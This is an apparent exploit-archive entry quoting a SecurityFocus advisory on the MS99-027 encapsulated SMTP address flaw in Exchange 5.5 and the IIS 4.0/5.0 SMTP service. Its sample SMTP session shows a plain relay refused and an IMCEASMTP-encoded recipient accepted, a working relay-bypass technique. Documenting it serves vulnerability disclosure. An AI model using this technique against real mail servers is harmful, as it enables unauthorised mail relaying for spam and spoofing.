Microsoft IIS 4.05.0 - SMTP Service Encapsulated SMTP Address (MS99-027)
source: https://www.securityfocus.com/bid/5213/info Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability. The vulnerability was originally announced in Microsoft Security Bulletin MS99-027 and reported to affect Exchange Server 5.5. Microsoft released a patch to fix the vulnerability for Exchange Server 5.5 only. It has been recently reported that this vulnerability also affects the SMTP service included with Microsoft IIS 4.0 and 5.0. There exists no patch for the IIS SMTP service. 220 test-mailer Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready at Tue, 28 May 2002 14:54:10 +0100 helo 250 test-mailer Hello [IP address of source host] MAIL FROM: firstname.lastname@example.org 250 2.1.0 email@example.com....Sender OK RCPT TO: firstname.lastname@example.org 550 5.7.1 Unable to relay for email@example.com RCPT TO: IMCEASMTP-test+40test+2Ecom@victim.co.uk 250 2.1.5 IMCEASMTP-test+40test+2Ecom@victim.co.uk data 354 Start mail input; end with <CRLF>.<CRLF> Subject: You are vulnerable.